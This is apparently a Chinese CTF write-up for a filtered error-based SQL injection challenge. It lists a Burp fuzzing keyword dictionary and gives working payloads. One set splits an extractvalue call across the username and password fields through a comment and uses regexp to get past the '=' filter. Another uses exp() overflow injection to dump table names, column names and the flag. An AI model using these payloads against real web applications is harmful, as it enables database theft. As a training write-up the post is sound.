• 实验吧——加了料的报错注入(exp报错注入)


    题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php

    先查看页面源码得到提示知道了后台执行的sql语句,很常规的查询

    测试了一个报错函数发现如下回显,可见屏蔽了报错信息,也有可能是监测到了updatexml这个报错函数,于是先用burp来fuzzing测试一波,看看哪些关键字

    被屏蔽了

    burp抓包并send to intruder

    分别对username和password进行fuzzing测试,这里演示username的,设置完后点击start attact

     

    fuzzing测试的字典我是自己写的,就写了些常见的关键字,你们可以将就用下

    and
    or
    =
    >
    <
    (
    )
    ()
    '
    "
    regexp
    substr
    mid
    left
    join
    rigth
    like
    select
    from
    union
    ,
    updatexml
    extractvalue
    exp
    char
    ascii
    insert
    into
    delete
    update
    alter
    create
    where
    /*
    */
    -- 
    --
    #
    all
    distinct
    not
    as
    order
    by
    desc
    asc
    having
    floor
    geometrycollection
    polygon
    multipoint
    multilinestring
    linestring
    multipolygon

    最后得出username处屏蔽了括号,=,substr 等等关键字

    而password屏蔽了如updatexml,extractvalue等等会产生报错的函数,还有union,like 等等

     

    似乎有点矛盾,想要报错注入,必须要构造一个报错函数,函数名 和 括号 缺一不可,但是两个注入点都不满足条件。但是可以将两个注入点“打通”,前者函数名,后者括号不就行了?于是构造如下

    username=' and extractvalue/*&password=*/(1,concat(':', database() )) and '

    后台的查询语句就为

    select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '

    去掉注释即为

    select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '

    然后猜解表名,因为password屏蔽了=,所以用regexp

    username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(table_name) from information_schema.tables where table_schema regexp database() ) )) and '

    猜解列名

    username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and '

    猜解字段

    username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(value) from ffll44jj ) )) and '

    这道题其实对于报错函数的过滤还有一个漏网之鱼——exp()

    详见http://netsecurity.51cto.com/art/201508/489529.htm

    所以构造

    username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '

  • 相关阅读:
    对于Sobel算子的学习
    HDU 2594(求最长公共前后缀 kmp)
    HDU 6108(整除判断 数学)
    HDU 5968(异或计算 暴力)
    HDU 5963(游戏 博弈+规律)
    简单算法考题记录
    flex与bison
    C++ 智能指针
    Linux 添加设备驱动程序
    Linux 添加系统调用
  • 原文地址:https://www.cnblogs.com/leixiao-/p/9753810.html
Copyright © 2020-2023  润新知